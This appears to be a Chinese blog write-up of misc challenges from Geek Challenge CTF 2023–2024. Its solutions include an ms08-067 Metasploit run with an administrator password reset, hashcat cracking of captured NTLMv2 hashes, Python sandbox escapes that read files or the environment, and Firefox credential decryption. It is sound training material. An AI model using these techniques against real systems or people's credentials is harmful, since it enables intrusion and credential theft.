geekchallengectf2023-2024misc复现


geekchallengectf2023

cheekin

题目描述:

1
请前往"三叶草小组Syclover"微信公众号输入flag获得flag

关注公众号回复flag就可以得到一张图片

zsteg一把梭得到flag

最后flag为

1
SYC{s4y_he110_t0_syclover}

ez_smilemo

题目描述:

1
游戏通关即可得到flag内容,需要自行添加SYC{}包含。例: flag内容为 haha_haha 则最终flag为 SYC{haha_haha}

下载附件

附件有个 Smilemo.exe ⽂件和 data.win

1
data.win,gms游戏的标准数据文件,包括所有的游戏逻辑部分以及非逻辑部分的数据,理论上,只要你有了游戏的这个文件,就有了整个游戏,只需一个runner即可运行。data的内部结构包括一些数据块(Chunk)和标记性数据。Chunk有LANG, EXTN, SOND, AGRP, SPRT, PATH, SCPT, FONT, OBJT, ROOM, FUNC, STRG, TXTR, VARI, CODE等

搜到工具 UndertaleMod Tool

Releases · UnderminersTeam/UndertaleModTool

UndertaleModTool 打开 data.win文件

现在 Code 下⾯有⼀个叫 flag 的在⾥⾯找到了 flag 的 base64 内容

base解密

最后flag为

1
SYC{sm1le_1s_@_n1ce_g@me}

DEATH_N0TE

题目描述:

1
2
3
4
"o2takuXX突然失踪了,你作为他的好朋友,决定去他的房间看看是否留下了什么线索..."。前置剧情题,flag有两段,隐写的信息有点多记得给信息拿全。 

hint1: Stegsolve lsb
hint2: 图片大小和像素点

下载附件

根据 hint1: Stegsolve lsb,直接zsteg一把梭,发现两条base编码

1
2
base1:
IuS9oOaJvuWIsOS6huS4gOacrOOAikRFQVRIIE5PVEXjgIvvvIzlpb3lpYflv4PpqbHkvb/kvaDnv7vlvIDov5nmnKznrJTorrDvvIzkvaDpmIXor7vkuobkvb/nlKjop4TliJnvvIzkvYbmmK/kvaDmg4rorrblnLDlj5HnjrDliJrmiY3nmoTop4TliJnkuYvkuK3llK/ni6zmsqHmnInnrKwxMOadoS4uLiIKIuS9oOWGjeasoeWOu+ehruiupOaYr+WQpuWmguatpO+8jOeslOiusOS4iueahOaWh+Wtl+WNtOS7v+S9m+a0u+S6hui1t+adpe+8jOWcqOS9oOecvOS4reS4jeaWreWcsOaUvuWkp+e8qeWwj++8jOS9oOmXreS4iuS6huWPjOecvC4uLiIKIuWOn+acrOm7keiJsueahOaWh+Wtl+S4gOi9rOWPmOaIkOihgOe6ouiJsu+8jOivoeW8gueahOeUu+mdoui/mOaYr+WHuueOsOS6juS9oOeahOinhue9keiGnOWJje+8jOS9oOWGs+WumuS4jeWGjee6oOe7k+S6jumBl+WkseeahOinhOWIme+8jOW5u+iniea2iOWkseS6hi4uLiI=
1
2
base2:
IuS9oOe7p+e7reinguWvn+aJi+S4iua8hum7keiJsueahOeslOiusOacrO+8jOWGt+mdmeS4i+adpeeahOS9oOWPkeeOsOS6huiXj+WcqOWwgemdouacgOS4i+i+ueeahOS4gOihjOWwj+WtlzpTWUN7RDRAVGhfTjB0NF8iCiLkvaDmtY/op4jov4fmlbTkuKrnrJTorrDmnKzvvIzlj6/mg5zlhajmmK/nqbrnmb3pobXvvIzlhbbkuK3mnInk

base1解密

解密内容:

1
2
3
"你找到了一本《DEATH NOTE》,好奇心驱使你翻开这本笔记,你阅读了使用规则,但是你惊讶地发现刚才的规则之中唯独没有第10条..."
"你再次去确认是否如此,笔记上的文字却仿佛活了起来,在你眼中不断地放大缩小,你闭上了双眼..."
"原本黑色的文字一转变成血红色,诡异的画面还是出现于你的视网膜前,你决定不再纠结于遗失的规则,幻觉消失了..."

谜语看不懂,暂时放一放

base2解密

不知道为什么缺少文字,看样子zsteg有时候也不行,想到 hint1: Stegsolve lsb,发现完整编码

直接 save bin 下来为 1.txt 打开 1.txt 可以直接给内容复制下来

1
IuS9oOe7p+e7reinguWvn+aJi+S4iua8hum7keiJsueahOeslOiusOacrO+8jOWGt+mdmeS4i+adpeeahOS9oOWPkeeOsOS6huiXj+WcqOWwgemdouacgOS4i+i+ueeahOS4gOihjOWwj+WtlzpTWUN7RDRAVGhfTjB0NF8iCiLkvaDmtY/op4jov4fmlbTkuKrnrJTorrDmnKzvvIzlj6/mg5zlhajmmK/nqbrnmb3pobXvvIzlhbbkuK3mnInkuIDpobXkuI3nn6XpgZPooqvosIHmkpXmjonkuobvvIzkvaDmnIDnu4jov5jmmK/nv7vliLDkuobnvLrlpLHnmoTpgqPkuIDpobUiCiLkvaDnlKjpk4XnrJTmtoLmirnnnYDlkI7pnaLkuIDpobXvvIzkuIrpnaLnvJPnvJPlh7rnjrDkuobpgZflpLHnmoTnl5Xov7kuLi4i

重新解码

完整内容:

1
2
3
"你继续观察手上漆黑色的笔记本,冷静下来的你发现了藏在封面最下边的一行小字:SYC{D4@Th_N0t4_"
"你浏览过整个笔记本,可惜全是空白页,其中有一页不知道被谁撕掉了,你最终还是翻到了缺失的那一页"
"你用铅笔涂抹着后面一页,上面缓缓出现了遗失的痕迹..."

得到第一部分flag

1
SYC{D4@Th_N0t4_

根据 hint2: 图片大小和像素点

根据前面的谜语:笔记上的文字却仿佛活了起来,在你眼中不断地放大缩小,你闭上了双眼

使用⽤ PS 进⾏缩⼩

保存设置后查看

提示我们查看死亡笔记,搜索死亡笔记字体

对照得到

1
TkFNRV9vMnRha3VYWH0=

base解密得到第二段flag:

1
NAME_o2takuXX}

拼接最后

1
flag为SYC{D4@Th_N0t4_NAME_o2takuXX}

下一站是哪儿呢

题目描述:

1
我和yxx去旅游,前一天还好好的,玩完《指挥官基恩》这个游戏就睡觉了,第二天晚上吃完饭她人就不见了,走之前留下了两张图片就消失了。你能帮我找找她坐哪个航班去哪个地方了嘛? flag格式:SYC{航班号_城市拼音},城市拼音首字母大写噢

下载附件

打开附件是⼀段聊天记录和⼀个压缩包(机场照片和猪猪侠图片)

百度识图机场图片发现是深圳宝安国际机场

当时之前做到这没思路了,后面一下给的猪猪侠图片有没有可能是隐写什么的,放010查看

果不其然,图片里藏有压缩包,手动提取出来查看压缩包文件

一眼标准银河字母,寻找对照表

对照得到

1
I want to go to liquor city.

百度搜索liquor city(酒城)

https://www.flightera.net/网站里可以按机场查询航班号,机场选择深圳宝安国际机场(SZX)

在8月25号18:00到22:00排查到泸州的航班,可以找到这一条记录

最后flag为

1
SYC{CZ8579_Luzhou}

Qingwan心都要碎了

题目描述:

1
Qingwan和Yxx一起去旅游,但是Qingwan睡的太死啦,Yxx丢下她一个人去玩了,她一觉起来只看见Yxx发的朋友圈,能帮Qingwan找到她吗?  flag格式:SYC{地点名字} 

下载附件

关键图片

这两张图片都能证明yxx在重庆,第一张图片有重庆火锅前十强,第二张图片瓷器口古镇

接下来这张图片最关键

这张图上有三峡工程相关的文件

结合得到的关键词:重庆、三峡,百度地图搜索

确定是重庆中国三峡博物馆

最后flag为SYC{重庆中国三峡博物馆}

xqr

题目描述:

1
Qrcode can deliver binary msg

下载附件

⽤ 010 editor 打开看看发现后⾯还有⼀张 PNG 图⽚,⼿动分离⼀下

查看图片

双图我们会想到盲水印或者异或,显然是后者

异或需要大小一致,ps将75像素的二维码改成25的

使用stegsolve双图异或

手机微信扫描二维码得到flag

最后flag为

1
SYC{hOp3_u_h@ve_Fun}

DEATH_N1TE

题目描述:

1
"你看见了《DEATH NOTE》上面的名字,这时,Arahat0给你传了两个文件,并留言:" "[他拥有死神之眼,请小心,他在找你,还剩1920秒...]" "<当前时间 10:52>"。flag有两段

下载附件

附件有 L.mp3 和 killer.webp

先处理音频文件

L.mp3 在最后的地⽅有⼀段很明显听着有问题 可以知道是⼀段 SSTV ⽤能扫 SSTV 的⼯具直接 Robot36 解码得到 flag 前半段

1
SYC{H4xr0t0r

killer.webp 发现是⼀组动图 ⼤⼩是 48*48

⽤ python 脚本把每张⼩图⽚进⾏分离

exp:

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image
filepath = r"E:\\脚本合集\\赛题脚本\\geekchallenge2023\\note1\\killer.webp"
im = Image.open(filepath)
while True:
try:
current = im.tell()
#需要有pic⽬录
im.save(r"E:\\脚本合集\\赛题脚本\\geekchallenge2023\\note1\\pic\\{}.png".format(current))
im.seek(current + 1)
except Exception as e:
break

运行得到

分离出了 880 张图⽚ 先将这 880 张图⽚进⾏拼接 由题⽬描述 1920 10:52 可以猜出原图⼤⼩为 19201052 再由每张⼩图 4848 可知应该是切成了 40*22 ⽤ kali 上的⼯具 montage

1
montage *.png -tile 40x22 -geometry +0+0 flag.png

再使用gaps进行拼图

1
gaps run ./flag.png newfalg.png --generations=30  --population=300 --size=48

图上的内容为 XzE0X0tpMTE0Un0=,base64 解密得到 flag 后半段

1
_14_Ki114R}

最后flag为

1
SYC{H4xr0t0r_14_Ki114R}

窃听风云

题目描述:

1
Hacker捕获到了一段敌对公司的对话信息流量,你能从流量中分析出Jack的密码吗,flag为SYC{password}

打开流量包,看到是 http 协议

看到这⾥有⼀段对话,有提⽰告诉我们应该要⽤ kali 下⾃带的那个 rockyou.txt 字典,那结合题⽬应该是⽤这个字典去爆破密码。 看⼀下流量包的特点,可以发现有很多 NTLM 协议认证过程中的流量包,⽽且这个 NTLM 协议的认证过程是基于 HTTP 协议的。

所以猜测这⾥应该是要我们去构造 Net-NTLMv2 Hash 然后去爆破密码 Net-NTLMv2 Hash 的结构如下

1
[User name]::[Domain name]:[NTLM Server Challenge]:[HMAC-MD5]:[blob]

我们⾸先看到, type3 认证消息

可以得到,

1
2
3
4
NTLM Response :
2d1d24572b15fe544043431c59965d300101000000000000040d962b02edd901e6994147d6a34af200000000020012005700490044004700450054004c004c004300010008004400430030003100040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0003002e0044004300300031002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0007000800040d962b02edd90106000400020000000800300030000000000000000000000000300000078cdc520910762267e40488b60032835c6a37604d1e9be3ecee58802fb5f9150a001000000000000000000000000000000000000900200048005400540050002f003100390032002e003100360038002e0030002e0031000000000000000000

User name : jack , Domain name : WIDGETLLC

然后再看到 type2 质询消息

1
NTLM Server Challenge : 2af71b5ca7246268

所以 Net-NTLMv2 Hash 的结构如下:

1
jack::WIDGETLLC:2af71b5ca7246268:2d1d24572b15fe544043431c59965d30:0101000000000000040d962b02edd901e6994147d6a34af200000000020012005700490044004700450054004c004c004300010008004400430030003100040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0003002e0044004300300031002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0007000800040d962b02edd90106000400020000000800300030000000000000000000000000300000078cdc520910762267e40488b60032835c6a37604d1e9be3ecee58802fb5f9150a001000000000000000000000000000000000000900200048005400540050002f003100390032002e003100360038002e0030002e0031000000000000000000

我们就可以⽤ hashcat 这个⼯具对 hash 进⾏⼀个破解

1
hashcat -m 5600 aaa.txt rockyou.txt

最后flag为SYC{iamjackspassword}

extractMe

下载附件

简单crc爆破

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import binascii
import string

def crack_crc():
print('-------------Start Crack CRC-------------')
crc_list = [0x8712DE1D,0x06EACBD7,0x20A8E291,0x31EE3074,0x77AACF7F,0x35FB7C6C,0xF978D5AA,0x016F7A0B]#文件的CRC32值列表,注意顺序
comment = ''
chars = string.printable
for crc_value in crc_list:
for char1 in chars:
for char2 in chars:
for char3 in chars:
for char4 in chars:
res_char = char1 + char2 + char3 + char4#获取遍历的任意4Byte字符
char_crc = binascii.crc32(res_char.encode())#获取遍历字符的CRC32值
calc_crc = char_crc & 0xffffffff#将遍历的字符的CRC32值与0xffffffff进行与运算
if calc_crc == crc_value:#将获取字符的CRC32值与每个文件的CRC32值进行匹配
print('[+] {}: {}'.format(hex(crc_value),res_char))
comment += res_char
print('-----------CRC Crack Completed-----------')
print('Result: {}'.format(comment))

if __name__ == '__main__':
crack_crc()

运行得到

最后flag为

1
SYC{_cR@ck_1s_Useful_sometime$_}

时代的眼泪

题目描述:

1
2001年的大屁股电脑,到了2023年会被揍得多惨呢?

下载附件

这题方法挺多,我列出常用的方法:

方法一:

使用diskgenius挂载磁盘

在ALL USER目录里面的document里的picture目录下的一张图片里面出来的flag

方法二:

磁盘取证,使用工具AXIOM Process

方法三:

利用ms08-067漏洞

把虚拟机导⼊ VM 之后,发现有密码才能登录

kali攻击机:192.168.74.140

靶机:192.168.74.141

开启 msfconsole

1
2
3
4
search ms08
use 0
set RHOST 192.168.20.130
run

1
2
shell
net user Administrator 123456

修改完密码登录获得flag

方法四:

7z查看vmdk文件,在Tears_of_the_times-disk1.vmdk\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft目录下找到一张图片,打开就能看到flag

方法五:

1
取证大师 -> 最近访问 -> 图片内容获得flag


最后flag为

1
SYC{You_defeated_me_after_22_years}

窃听风云-v2

题目描述:

1
这次Hacker捕获到了Jack登录邮件系统的流量,你还能从流量中分析出Jack的密码吗,flag为SYC{password}

方法其实和前面那道题一模一样,但是服务器名要变一下,应该是WidgetLLC.Internal

构造NTLMv2爆破文件:

1
jack::WidgetLLC.Internal:3E3966C8CACD29F7:DDD46FD8F78C262EAE16918F66185497:010100000000000050FD26D235EDD9011219408CCB8A364800000000020012005700490044004700450054004C004C0043000100100043004C00490045004E00540030003300040024005700690064006700650074004C004C0043002E0049006E007400650072006E0061006C000300360043004C00490045004E005400300033002E005700690064006700650074004C004C0043002E0049006E007400650072006E0061006C00050024005700690064006700650074004C004C0043002E0049006E007400650072006E0061006C000700080050FD26D235EDD90106000400020000000800300030000000000000000000000000300000C78E803920758EC5672C36696EE163F6A4E61C8B5463C247DAEF8571677995A40A001000000000000000000000000000000000000900200053004D00540050002F0075006E007300700065006300690066006900650064000000000000000000

使用hashcat和rockyou字典进行爆破

1
hashcat -m 5600 bbb.txt rockyou.txt

最后flag为

1
SYC{jack100589barney}

DEATH_N2TE

题目描述:

1
“你知道了真相,正带上《DEATH NOTE》准备逃离,恰好,Muscial发给你一个视频,并说:” “[这里记下了他的真名以及照片,请写在那本笔记上面,我和Arahat0都被他看见了真名…]”。

附件只有⼀个 kira.mp4,猜测提取其中的像素,提取之后可以看到有些图片中存在一列白色像素,并且是按从左到右的顺序,尝试把这些列拼接起来

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import cv2
import os
from tqdm import tqdm
from PIL import Image


cam = cv2.VideoCapture( "E:\\脚本合集\\赛题脚本\\geekchallenge2023\\像素提取\\kira.mp4")
try :
if not os.path.exists( 'data' ):
os.makedirs( 'data' )
except OSError:
print ( 'Error: Creating directory of data' )

print('正在提取图片帧')
for currentframe in tqdm(range(0,192)):
#while ( True ):
ret, frame = cam.read()
if ret:
name = './data/frame' + str (currentframe) + '.jpg'
cv2.imwrite(name, frame)
else :
break

cam.release()
cv2.destroyAllWindows()

d = set()

print('正在分析各帧白色点坐标:')
for tk in tqdm(range(0,192)):
img = Image.open(f'./data/frame{tk}.jpg')
pixels = img.load()
for i in range(5,1920,10):
for j in range(15,1080,10):
r, g, b = pixels[i,j]
if r > 100 and g > 100 and b > 100:
d.add(f'{i}|{j}')


pic = Image.new("RGB",(133, 133))

while len(d) != 0:
a1 = d.pop()
x1 = a1.split('|')[0]
y1 = a1.split('|')[1]
pic.putpixel([int(x1)//15,int(y1)//15],(255, 255, 255))

pic.show()
pic.save("E:\\脚本合集\\赛题脚本\\geekchallenge2023\\像素提取\\flag.png")

运行得到

最后flag为

1
SYC{we1c0m4_T0_De@tH_W0r1d}

geekchallengectf2024

2024 geek challenge!签到

题目描述:

1
关注小组公众号三叶草小组Syclover,回复关键词 “2024 geek challenge!签到” 进行签到

公众号回复关键词 “2024 geek challenge!签到”得到flag

最后flag为

1
SYC{weLc0mE-tO-2_o_2_100-GeeK@cha11Enge!!}

ez_jpg

题目描述:

1
点击就送

下载附件

base解密

发现是jpg文件十六进制字节反转了,直接reverse

010改宽从528到628

保存重新打开文件

最后flag为

1
SYC{Steg_4nd_Zip_1s_G00d!}

Truth of Word

题目描述:

1
Word文件真正的奥妙

下载附件

第一部分全选加修改字体颜色

第二部分在宏中

第三部分改后缀.zip,word/media下有 flag03.png

最后flag为

1
SYC{W0rd_H@5@_Ama1n9_StrUCtu3e!

Welcome_jail

题目描述:

1
就是一个简单的pyjail啦

开启环境

发现这些都被过滤了

1
['import', 'os', 'breakpoint', 'input', 'eval', 'exec', 'help', "'", '"']

chr绕过

1
print({}.__class__.__mro__[1].__subclasses__()[-4].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read())

最后flag为SYC{f628e4b9-2e19-40c2-95ca-89eb243d330a}

题目描述:

1
又到了白色相簿的季节

下载附件

发现有密码。010查看压缩包文件

末尾有base编码。赛博厨子一把梭

压缩包为W3LC0M4,解压压缩包

根据图片名称猜测是盲水印

又因为题目名称是雪,文本是white名,猜测是snow隐写,密码为Th1si4st8eK3y

最后flag为SYC{Ma1by_y0u_w1ll_l1k3_sn0w}

I_wanna_go_to_SYC

题目描述:

1
BoBo人觉得iwanna很好玩,但是他打不过去能帮帮它吗? 题目附件下载链接https://pan.baidu.com/s/1JCqJ8TkXBYJjPUVJbHMlvg 密码:game

下载附件

gm8decompiler转exe为gmk

再用gamemaker打开gmk文件

最后flag为

1
SYC{NO_PRObLEM_yOU_DO_It_G1Me_LOVER}

ez_pcap_1

题目描述:

1
黑客通过外网getshell进入内网,在域渗透横向文件传输时传送了一个危险文件,你能找到这个危险文件吗?

下载附件

搜索字符串SYC

最后flag为

1
SYC{smb_pcapng_1s_g00d!}

cimbar

题目描述:

1
What is cimbar

下载附件

百度搜索到用摄像头传输文件 —— Cimbar - 哔哩哔哩

对照得到

1
2
3
01010011010110010100001101111011010000010110111000110000011101000110100000110011
01110010010111110100000101101101010000000111101000110001011011100011100101011111
0101000101010010010111110100001101101111001101000110010101111101

解码二进制即可获得flag

最后flag为

1
SYC{An0th3r_Am@z1n9_QR_Co4e}

舔狗的觉醒

题目描述:

1
听说爱自己的人会有好运哦

下载附件

爆破密码得到88888888

解压压缩包

看到文件头为 05 b4 30 40 ,而压缩包文件头为 50 4b 03 04,每个字节被反转 了,写个脚本转换下

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 读取文件内容  
with open('E:\\脚本合集\\赛题脚本\\geekchallenge2024\\字节反转\\byte-revenge.txt', 'r') as file:
data = file.read().split() #按空格来区分每个字节


# 对调每个字节
result = ""
for i in data:
res = i[::-1]
result+=res
print(result)
swapped_data = [byte[::-1] for byte in data]


# 将处理后的内容写回文件  
with open('E:\\脚本合集\\赛题脚本\\geekchallenge2024\\字节反转\\2.txt', 'w') as file:
file.write(''.join(result))

运行得到

转为zip文件保存打开pdf文件

发现有密码,在线pdf解密

下载并打开解锁后的pdf文件,移除图片得到flag

最后flag为

1
SYC{YOu_arE_yOuR_Own_hero}

乌龟

题目描述:

1
starven师傅养了一直会唱歌的乌龟,但是他走丢了,你能帮starven师傅找到他吗(音频文件不只一种用法)

下载附件

一眼sstv隐写

得到密码:Be4uti7ulSun5e7

deepsound解密

查看secret文本内容

1
to draw_s  pu setxy -400 200 pd repeat 18 [fd 5 lt 10 wait 2]  repeat 8 [fd 5 lt 10 wait 2]  repeat 21 [fd 5 rt 10 wait 2]  pu setxy -350 200 pd fd 50 wait 5  pu setxy -350 200 pd rt 100 fd 50 wait 5  pu setxy -350 200 pd rt 130 fd 75 wait 5  pu setxy -220 200 pd rt 130 repeat 27 [fd 8 lt 10 wait 2]  pu setxy -430 70 pd lt 130 fd 100 wait 5  pu setxy -480 70 pd lt 90 fd 100 wait 5  pu setxy -420 70 pd fd 100 lt 90 fd 50 lt 90 fd 100 wait 5  pu setxy -350 70 pd rt 90 fd 70 rt 90 fd 50 rt 90 fd 70 wait 5  pu setxy -280 20 pd lt 90 fd 50 rt 90 fd 70 wait 5  pu setxy -250 70 pd rt 180 fd 100 wait 5  pu setxy -200 70 pd rt 90 fd 100 wait 5  pu setxy -130 70 pd lt 130 fd 30 rt 130 fd 110 rt 90 fd 30 wait 5  pu setxy -130 -20 pd lt 180 fd 40 wait 5  pu setxy -70 70 pd fd 70 wait 5  pu setxy -70 70 pd rt 90 fd 50 lt 90 fd 70 wait 5  pu setxy -70 20 pd rt 90 fd 50 lt 90 fd 70 wait 5  pu setxy 20 -30 pd fd 70 wait 5  pu setxy 120 70 pd repeat 18 [fd 5 rt 10 wait 2]  pu setxy 120 70 pd lt 90 fd 100 wait 5  pu setxy 180 70 pd fd 50 lt 90 fd 50 wait 5  pu setxy 230 70 pd rt 90 fd 100 wait 5  pu setxy 260 70 pd lt 90 fd 50 wait 5  pu setxy 285 70 pd rt 90 fd 100 wait 5  pu setxy 260 -30 pd lt 90 fd 50 wait 5  pu setxy 340 70 pd rt 90 fd 100 wait 5  pu setxy 340 70 pd lt 30 fd 115 wait 5  pu setxy 398 -30 pd lt 150 fd 100 wait 5  pu setxy 420 70 pd rt 90 fd 100 wait 5  pu setxy 470 70 pd rt 90 fd 100 wait 5  pu setxy -520 -70 pd lt 90 fd 60 wait 5  pu setxy -490 -70 pd rt 90 fd 100 wait 5  pu setxy -520 -170 pd lt 90 fd 60 wait 5  pu setxy -420 -70 pd rt 90 fd 100 wait 5  pu setxy -420 -70 pd lt 30 fd 115 wait 5  pu setxy -362 -170 pd lt 150 fd 100 wait 5  pu setxy -270 -70 pd lt 90 repeat 27 [fd 8 lt 10 wait 2] lt 180 fd 40 wait 5  pu setxy -230 -120 pd rt 90 fd 30 wait 5 end clearscreen draw_s

logo编程语言,在线画图

Logo解释器

最后flag为

1
SYC{TU3T1E_P4INTING}

ez_climbstairs

题目描述:

1
动态规划算法入门题目你知道如何爬楼梯吗?爬对100次就给你flag

开启环境

经典爬楼梯,上脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import select
from pwn import *
from Crypto.Util.number import long_to_bytes
import socket
import re


import sys
def climbStairs(n):
memo = {} # 用于存储已计算的状态值

def helper(i, m):
if i > n:
return 0
if i == n:
return 1
if (i, m) in memo:
return memo[(i, m)]

total = 0
for j in range(1, m + 1):
total += helper(i + j, m)

memo[(i, m)] = total
return total

return helper(0, 3)
if __name__ == "__main__":
sys.setrecursionlimit(150000)
sys.set_int_max_str_digits(50000)
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('nc1.ctfplus.cn',29405))
for i in range(100):
try:
response = client_socket.recv(1024)
response = response.decode().strip()
print(response)
number=re.findall(r'\d+', response)
num=number[0]
print(num)
r = str(climbStairs(int(num)))+'\n'
client_socket.sendall(r.encode())
print("sended!")
sleep(0.5)
except Exception as e:
print("find error:",e)
exit()
response = client_socket.recv(1024)
response = response.decode().strip()
print(response)
client_socket.close()

运行得到flag

最后flag为

1
SYC{9b00ad58-b303-43d8-b831-930a53be6bf2}

doSomeMath

题目描述:

1
lhRaMk7在没通过他的小升初数学考试之后来GSBP老师这里补习,发现他一道题都做不出来,大学生们能帮帮他吗

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import os

white_List=["+","-","*","/","_","g","e","l","t","(",")",".",","]
flag=os.environ.get("GEEK_FLAG") if os.environ.get("GEEK_FLAG")!=None else "SYC{test}"
banner=''' _ ____ __ __ _ _
__| | ___/ ___| ___ _ __ ___ ___| \/ | __ _| |_| |__
/ _` |/ _ \___ \ / _ \| '_ ` _ \ / _ \ |\/| |/ _` | __| '_ \\
| (_| | (_) |__) | (_) | | | | | | __/ | | | (_| | |_| | | |
\__,_|\___/____/ \___/|_| |_| |_|\___|_| |_|\__,_|\__|_| |_|

'''
def waf(s):
if not s.isascii():
exit("Please input ascii")
for word in s:
if word not in white_List:
exit("hacker!!!!")
print(banner)
print("please do this math problem")
#9872
while True:
try:
result = input("99*100^60= ")
waf(result)

if 99 * 100 ^ 60 == eval(result):
print("Congradulation!!!!! Here is your reward: " + flag)
else:
print("not right")
except:
print("error")

#result=”(((1+1+1+1+1+1+1+1+1+1)(1+1+1+1+1+1+1+1+1+1)-1)(1+1+1+1+1+1+1+1+1+1)(1+1+1+1+1+1+1+1+1+1))-(1+1+1+1)(1+1+1+1+1+1+1)”

().le(()) 结果为True,把1替换成 ().le(()) 结果为True ,bool值 True+True=2

1
(((().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(()))*(().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(()))-().__le__(()))*(().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(()))*(().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())))-(().__le__(())+().__le__(())+().__le__(())+().__le__(()))*(().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(())+().__le__(()))

上面的式子经过eval计算后的结果为9872

最后flag为

1
SYC{8e66db99-3ade-4341-a5f0-101640e64cc6}

Forensics

题目描述:

1
2
3
听说爱冒险的lhRaMk7师傅最近换了个浏览器,似乎藏了一些有用的东西…

下载链接: https://pan.baidu.com/s/1p_90wi798gG7wuREGQkhvw?pwd=game 提取码: game

Geek2024.ad1 文件,FTK Imager打开

在Geek2024用户的documents文件夹下有一个Adventure.txt,看起来像是一个base64隐写的东西

base隐写得到二进制数

二进制七位一组转ascll

Geek2024Syc,拿到了这个密码。

寻找火狐浏览器相关文件,在 Geek2024/AppData/Roaming/Mozilla/Firefox/Profiles/uf11qmty.default

把配置文件放下来,就得到了火狐的登录凭证。用firefox_decrypt跑出火狐凭证

1
python firefox_decrypt.py  E:\misc\隐写\firepwd-master\firepwd-master\firefox_decrypt-master\firefox_decrypt-master\uf11qmty.default

最后flag为

1
SYC{F1ref0x_F0r3ns1cs_Mas7er}

hard_jail

题目描述:

1
waf好短,看起来好简单OUO

nc连上,提示输入show显示源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
black=["(",")","\'","\"","@"]
banner=''' _ _ _ _ _
| |__ __ _ _ __ __| | (_) __ _(_) |
| '_ \ / _` | '__/ _` | | |/ _` | | |
| | | | (_| | | | (_| | | | (_| | | |
|_| |_|\__,_|_| \__,_|____ _/ |\__,_|_|_|
|_____|__/'''
print(banner)
print("input your code or input 'show' to get the source code")
while True:
code = input(">>")
if code=="show":
print(open(__file__,"r").read())
continue
if not code.isascii():
exit("Please input ascii")
if len(code)>50:
exit("code too long")
for word in black:
if word in code:
exit("hacker!!!!")
exec(code)

黑名单列表置空

1
2
black=[]
import os;print(os.system('env'))

最后flag为

1
SYC{a23fcbe2-5beb-435f-8d44-fd77777bae17}

Secret of Starven

题目描述:

1
有黑客进入了Starven的电脑,还偷走了他的学习资料,你能帮助他挽回尊严嘛

下载附件

SMB流量,直接导出SMB对象

图片没用,不过确实是美女

爆破压缩包密码,利用rockyou.txt字典

解压压缩包得到flag

最后flag为

1
SYC{D0n7_spre0d_St@rven's_s3crEt}

ez_raw

题目描述:

1
2
3
sh4d0w师傅想要考验合作能力,所以塞了点秘密在二进制文件在里面,你们能合作找到这个秘密吗?

链接: https://pan.baidu.com/s/1EL7mIUV0P4LTHczofL6VVw?pwd=game 提取码: game

下载附件

明显的磁盘取证,但是是win10的,vol2会出问题,需要配置vol3才行 直接关键字搜索flag,有一个flag.kdbx,提示了有二进制文件,搜索常见后缀能看见program.elf

lovemen扫描文件搜索关键字flag得到

搜索关键词elf

导出文件

kdbx是一种特殊的数据库文件,用于保存账户和密码,有一个keepass的软件可以直接打开


找到密钥所在位置,很明显是加密过的,凯撒解密10位得到原来的密钥 key:bingfengwithsh4d0w

uoi:lsxqpoxqgsdrcr4n0g 凯撒Caesar解码得到:key:bingfengwithsh4d0w

IDA打开分析program.elf,写出逆向代码拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
flag=''
c=[0x24, 0xA5, 0x58, 0x59, 0x0B, 0x45, 0xEC, 0x94, 0x7A, 0xA6,
0xCE, 0x11, 0x10, 0x65, 0x8E, 0xA6, 0x6C, 0x31, 0x23, 0x05,
0x3E, 0x64, 0x3A, 0x26, 0x6E, 0x26, 0x25, 0x2E, 0x76, 0x34,
0x2E, 0x26]
key='bingfengwithsh4d0w'
for i in range(16):
for j in range(32,127):
temp=(j+j)&0xff
temp=temp+j&0xff
temp=(temp+temp)&0xff
temp=(temp+temp)&0xff
temp=(temp+temp)&0xff
temp=(temp-j)&0xff
temp^=ord(key[i%0x12])^0x33
if temp==c[i]:
flag+=chr(j)
break
for i in range(16,32,1):
temp=ord(key[i%0x12])^0x33
temp^=c[i]
flag+=chr(temp)
print(flag)

最后flag为

1
SYC{Rew@rd_F0r_7our_c0op3rat1on}

ez_pcap_2

题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
【前言】黑客通过外网getshell进入内网,在域渗透横向文件传输时传送flag文件,想必大家在ez_pcap_1已经秒了,轻易的找到了这个flag文件,点击就送

